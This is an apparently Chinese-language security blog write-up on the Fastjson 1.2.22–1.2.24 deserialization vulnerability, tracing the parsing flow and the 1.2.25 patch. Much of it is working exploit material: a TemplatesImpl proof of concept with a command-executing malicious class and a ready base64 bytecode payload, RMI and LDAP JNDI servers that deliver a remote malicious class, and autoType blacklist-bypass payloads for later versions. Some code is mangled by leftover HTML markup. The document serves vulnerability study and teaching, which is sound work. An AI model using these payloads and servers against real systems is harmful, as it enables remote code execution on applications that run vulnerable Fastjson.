Fastjson 1.2.22-24
FastJson在 1.2.22 - 1.2.24 版本中存在反序列化漏洞，主要原因FastJson支持的两个特性：
fastjson反序列化时，JSON字符串中的 @type 字段，用来表明指定反序列化的目标恶意对象类。
fastjson反序列化时，字符串时会自动调用恶意对象的构造方法， setter 方法， getter 方法
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若这类方法中存在利用点，即可完成漏洞利用，而利用方式只要有两种
JdbcRowSetImpl(JNDI)
TemplatesImpl(Feature.SupportNonPublicField)
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环境配置
JDK 1.8
fastjson1.2.22
<dependencies><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.22</version></dependency></dependencies>
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反序列化使用
一个简单的Students类，它有一个公有属性name和一个私有属性age
public class Student {public String name;private int age;<span class="token keyword">public</span> <span class="token class-name">String</span> <span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">return</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setName</span><span class="token punctuation">(</span><span class="token class-name">String</span> name<span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token keyword">public</span> <span class="token keyword">int</span> <span class="token function">getAge</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">return</span> age<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setAge</span><span class="token punctuation">(</span><span class="token keyword">int</span> age<span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">this</span><span class="token punctuation">.</span>age <span class="token operator">=</span> age<span class="token punctuation">;</span> <span class="token punctuation">}</span>
}
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设置一段json字符串并将其反序列化成Student对象
import com.alibaba.fastjson.JSON;
public class learn {
public static void main(String[] args){
String jsonstring =“{”@type":“Student”:“age”:80,“name”:“ghtwf01”,“sex”:“man”}";
//System.out.println(JSON.parse(jsonstring));
System.out.println(JSON.parseObject(jsonstring));
}
}
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Fastjson反序列化流程分析
在parseObject处下断点，跟进
第一行将json字符串转化成对象，跟进parse
继续跟进
这里会创建一个DefaultJSONParser对象，在这个过程中有如下操作
判断解析的字符串是{还是[并设置token值，创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法
因为之前设置了token值为12，这里在第一行会创建一个空的JSONObject，随后会通过parseObject方法进行解析，在解析后有如下操作
通过scanSymbol获取到@type指定类，然后通过 TypeUtils.loadClass 方法加载Class
这里首先会从mappings里面寻找类，mappings中存放着一些Java内置类，前面一些条件不满足，所以最后用ClassLoader加载类，在这里也就是加载类Student类
接着创建了ObjectDeserializer类并调用了deserialze方法
首先跟进getDeserializer方法，这里使用了黑名单限制可以反序列化的类，黑名单里面只有Thread
继续往下调试最后便会调用set和get里面的方法，这样便能成功反序列化。
我这里没有进行区分，这里用parse能成功触发set方法，而parseObject能同时触发了set和get方法，如果我们在get或set方法中存在恶意操作，并且通过autoType进行指定转换就能利于fastjson反序列化漏洞
TemplatesImpl利用链
漏洞原理：Fastjson通过bytecodes字段传入恶意类，调用outputProperties属性的getter方法时，实例化传入的恶意类调用其构造方法，造成任意命令执行。TemplatesImpl类是Java反序列化界比较常用的类，更容易理解和上手，需要开启Feature.SupportNonPublicField，实战中不适用。
poc
先写恶意类TEMPOC.java，用于弹计算器
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TEMPOC extends AbstractTranslet { //这里为什么要继承AbstractTranslet类后面会说。
<span class="token keyword">public</span> <span class="token function">TEMPOC</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">IOException</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">Runtime</span><span class="token punctuation">.</span><span class="token function">getRuntime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span><span class="token string">"calc"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span><span class="token annotation punctuation">@Override</span>
<span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name">DTMAxisIterator</span> iterator<span class="token punctuation">,</span> <span class="token class-name">SerializationHandler</span> handler<span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>
<span class="token punctuation">}</span><span class="token annotation punctuation">@Override</span>
<span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>serializer<span class="token punctuation">.</span></span>SerializationHandler</span><span class="token punctuation">[</span><span class="token punctuation">]</span> haFndlers<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">TransletException</span> <span class="token punctuation">{<!-- --></span><span class="token punctuation">}</span><span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">TEMPOC</span> t <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token function">TEMPOC</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
}
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将其编译成.class文件，然后base64加密，这里贴一个简单的base64脚本，用来加密payload
import base64
fin = open(r“TEMPOC.class”,“rb”)
byte = fin.read()
fout = base64.b64encode(byte).decode(“utf-8”)
poc = ‘{“@type”:“com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,“_bytecodes”:[“%s”],“_name”:“a.b”,“_tfactory”:{},“_outputProperties”:{ },“_version”:“1.0”,“allowedProtocols”:“all”}’% fout
print(poc)
#生成的一个poc
{“@type”:“com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,“_bytecodes”:[“yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg==”],“_name”:“a.b”,“_tfactory”:{ },“_outputProperties”:{ },“_version”:“1.0”,“allowedProtocols”:“all”}
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PoC中几个重要的Json键的含义：
@type——指定的解析类，即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl，Fastjson根据指定类去反序列化得到该类的实例，在默认情况下只会去反序列化public修饰的属性，在PoC中，_bytecodes和_name都是私有属性，所以想要反序列化这两个属性，需要在parseObject()时设置Feature.SupportNonPublicField；
_bytecodes——是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串；
_outputProperties——漏洞利用链的关键会调用其参数的getOutputProperties()方法，进而导致命令执行；
_tfactory:{}——在defineTransletClasses()时会调用getExternalExtensionsMap()，当为null时会报错，所以要对_tfactory设置；
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前面的流程差不多，直接断点到不同的部分，进入deserialze后解析到key为_bytecodes时，调用parseField()进一步解析
跟进parseField方法，对_bytecodes对应的内容进行解析
解析出_bytecodes对应的内容后，会调用setValue()函数设置对应的值，这里value即为恶意类二进制内容Base64编码后的数据
继续跟进FieldDeserializer#setValue方法，这里使用了set方法来设置_bytecodes的值
这里解析到_outputProperties的内容
这里去除了_，跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
跟进TemplatesImpl#getOutputProperties
跟进newTransformer方法
跟进getTransletInstance方法
这里通过defineTransletClasses创建了TEMPOC类并生成了实例，这里往前翻，有对父类进行了验证，这样解释了为什么Payload恶意类要继承自该类
几个小问题
为什么要继承AbstractTranslet类
就是上面刚说的这个，对父类有验证，所有Payload恶意类要继承自该类
为什么需要对_bytecodes进行Base64编码
上面说了通过FieldDeserializer#parseField对_bytecodes对应的内容进行解析得到对value是base64解码后的内容，那么我们就看一看value值怎么来的
FieldDeserializer#parseField
->ObjectArrayCodec#deserialze
->DefaultJSONParser#parseArray
->ObjectDeserializer#deserializer
->JSONScanner#bytesValue
最后会将_bytecodes的内容进行base64解码返回
为什么需要设置_tfactory为{}
在调用defineTransletClasses方法时，若_tfactory为null则会导致代码报错
JdbcRowSetImpl利用链
实战可以利用，JDNI注入基于较低版本的JDK，LDAP适用范围更广,必须能出网，加载远端的恶意字节码，造成了局限性
RMI+JNDI
poc
POC如下，@type指向com.sun.rowset.JdbcRowSetImpl类，dataSourceName值为RMI服务中心绑定的Exploit服务，autoCommit有且必须为true或false等布尔值类型：
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
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服务端JNDIServer.java
public class JNDIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("Exloit","badClassName","http://127.0.0.1:8000/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("Exploit",referenceWrapper);}
}
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远程恶意类badClassName.class
public class badClassName {static{try{Runtime.getRuntime().exec("open /System/Applications/Calculator.app");}catch(Exception e){;}}
}
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客户端JNDIClient.java
import com.alibaba.fastjson.JSON;
public class JNDIClient {
public static void main(String[] argv){
String payload = “{”@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://127.0.0.1:1099/badClassName”, “autoCommit”:true}";
JSON.parse(payload);
}
}
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LDAP+JNDI
POC和上面基本一样
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
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LdapServer.java，这里需要unboundid-ldapsdk包
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAPServer {
<span class="token keyword">private</span> <span class="token keyword">static</span> <span class="token keyword">final</span> <span class="token class-name">String</span> LDAP_BASE <span class="token operator">=</span> <span class="token string">"dc=example,dc=com"</span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> main <span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">String</span> url <span class="token operator">=</span> <span class="token string">"http://127.0.0.1:8888/#badClassName"</span><span class="token punctuation">;</span><span class="token keyword">int</span> port <span class="token operator">=</span> <span class="token number">1389</span><span class="token punctuation">;</span><span class="token keyword">try</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">InMemoryDirectoryServerConfig</span> config <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">InMemoryDirectoryServerConfig</span><span class="token punctuation">(</span>LDAP_BASE<span class="token punctuation">)</span><span class="token punctuation">;</span>config<span class="token punctuation">.</span><span class="token function">setListenerConfigs</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">InMemoryListenerConfig</span><span class="token punctuation">(</span><span class="token string">"listen"</span><span class="token punctuation">,</span><span class="token class-name">InetAddress</span><span class="token punctuation">.</span><span class="token function">getByName</span><span class="token punctuation">(</span><span class="token string">"0.0.0.0"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>port<span class="token punctuation">,</span><span class="token class-name">ServerSocketFactory</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token class-name">SocketFactory</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">(</span><span class="token class-name">SSLSocketFactory</span><span class="token punctuation">)</span> <span class="token class-name">SSLSocketFactory</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>config<span class="token punctuation">.</span><span class="token function">addInMemoryOperationInterceptor</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">OperationInterceptor</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token function">URL</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">InMemoryDirectoryServer</span> ds <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">InMemoryDirectoryServer</span><span class="token punctuation">(</span>config<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Listening on 0.0.0.0:"</span> <span class="token operator">+</span> port<span class="token punctuation">)</span><span class="token punctuation">;</span>ds<span class="token punctuation">.</span><span class="token function">startListening</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">catch</span> <span class="token punctuation">(</span> <span class="token class-name">Exception</span> e <span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>e<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token keyword">private</span> <span class="token keyword">static</span> <span class="token keyword">class</span> <span class="token class-name">OperationInterceptor</span> <span class="token keyword">extends</span> <span class="token class-name">InMemoryOperationInterceptor</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">private</span> <span class="token class-name">URL</span> codebase<span class="token punctuation">;</span><span class="token comment">/****/</span><span class="token keyword">public</span> <span class="token class-name">OperationInterceptor</span> <span class="token punctuation">(</span> <span class="token class-name">URL</span> cb <span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">this</span><span class="token punctuation">.</span>codebase <span class="token operator">=</span> cb<span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token comment">/*** {@inheritDoc}** @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)*/</span><span class="token annotation punctuation">@Override</span><span class="token keyword">public</span> <span class="token keyword">void</span> processSearchResult <span class="token punctuation">(</span> <span class="token class-name">InMemoryInterceptedSearchResult</span> result <span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">String</span> base <span class="token operator">=</span> result<span class="token punctuation">.</span><span class="token function">getRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getBaseDN</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">Entry</span> e <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Entry</span><span class="token punctuation">(</span>base<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">try</span> <span class="token punctuation">{<!-- --></span><span class="token function">sendResult</span><span class="token punctuation">(</span>result<span class="token punctuation">,</span> base<span class="token punctuation">,</span> e<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">catch</span> <span class="token punctuation">(</span> <span class="token class-name">Exception</span> e1 <span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>e1<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">protected</span> <span class="token keyword">void</span> sendResult <span class="token punctuation">(</span> <span class="token class-name">InMemoryInterceptedSearchResult</span> result<span class="token punctuation">,</span> <span class="token class-name">String</span> base<span class="token punctuation">,</span> <span class="token class-name">Entry</span> e <span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">LDAPException</span><span class="token punctuation">,</span> <span class="token class-name">MalformedURLException</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">URL</span> turl <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token function">URL</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>codebase<span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>codebase<span class="token punctuation">.</span><span class="token function">getRef</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token char">'.'</span><span class="token punctuation">,</span> <span class="token char">'/'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span><span class="token string">".class"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Send LDAP reference result for "</span> <span class="token operator">+</span> base <span class="token operator">+</span> <span class="token string">" redirecting to "</span> <span class="token operator">+</span> turl<span class="token punctuation">)</span><span class="token punctuation">;</span>e<span class="token punctuation">.</span><span class="token function">addAttribute</span><span class="token punctuation">(</span><span class="token string">"javaClassName"</span><span class="token punctuation">,</span> <span class="token string">"Exploit"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">String</span> cbstring <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>codebase<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">int</span> refPos <span class="token operator">=</span> cbstring<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token char">'#'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span> refPos <span class="token operator">></span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>cbstring <span class="token operator">=</span> cbstring<span class="token punctuation">.</span><span class="token function">substring</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> refPos<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span>e<span class="token punctuation">.</span><span class="token function">addAttribute</span><span class="token punctuation">(</span><span class="token string">"javaCodeBase"</span><span class="token punctuation">,</span> cbstring<span class="token punctuation">)</span><span class="token punctuation">;</span>e<span class="token punctuation">.</span><span class="token function">addAttribute</span><span class="token punctuation">(</span><span class="token string">"objectClass"</span><span class="token punctuation">,</span> <span class="token string">"javaNamingReference"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>e<span class="token punctuation">.</span><span class="token function">addAttribute</span><span class="token punctuation">(</span><span class="token string">"javaFactory"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>codebase<span class="token punctuation">.</span><span class="token function">getRef</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>result<span class="token punctuation">.</span><span class="token function">sendSearchEntry</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">;</span>result<span class="token punctuation">.</span><span class="token function">setResult</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">LDAPResult</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token class-name">ResultCode</span><span class="token punctuation">.</span>SUCCESS<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token punctuation">}</span>
}
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LDAPClient.java
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
public static void main(String[] args) throws Exception{
try {
Context context = new InitialContext();
context.lookup(“ldap://127.0.0.1:1389/badClassName”);
}
catch (NamingException e) {
e.printStackTrace();
}
}
}
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恶意远程类和上面一样
断点分析
在jar!\com\sun\rowset\JdbcRowSetImpl.class进行断点分析，这里通过setDataSourceName(var1);将dataSourceName值设置为目标RMI服务的地址
再跟进到setAutoCommit
继续跟进到connect()中
这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值，也就是说我们可控，同时lookup进行利用就造成了JNDI注入漏洞。
补丁分析
1.2.25
我们从1.2.25看如何对其进行修补，就是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass替换为checkAutoType()函数：
checkAutoType()函数就是使用黑白名单的方式对反序列化的类型继续过滤，acceptList为白名单（默认为空，可手动添加），denyList为黑名单（默认不为空），默认情况下，autoTypeSupport为False，即先进行黑名单过滤，遍历denyList，如果引入的库以denyList中某个deny开头，就会抛出异常，中断运行。
denyList黑名单中列出了常见的反序列化漏洞利用链Gadgets
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
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运行能看到报错信息，说autoType不支持该类
1.2.25~1.2.41
增加黑名单判断
Bypass
loadClass时会移除开头的L和结尾的;
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true}";
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1.2.42
会先将开头的L和结尾的;移除再进行黑名单判断
Bypass
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true}";
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1.2.43
遇到LL开头的typeName直接抛出异常退出….
1.2.25~1.2.45
绕过黑名单的方式
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
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Fastjson 1.2.22-1.2.24反序列化漏洞分析
Fastjson系列二——1.2.22-1.2.24反序列化漏洞
Fastjson 反序列化漏洞简析
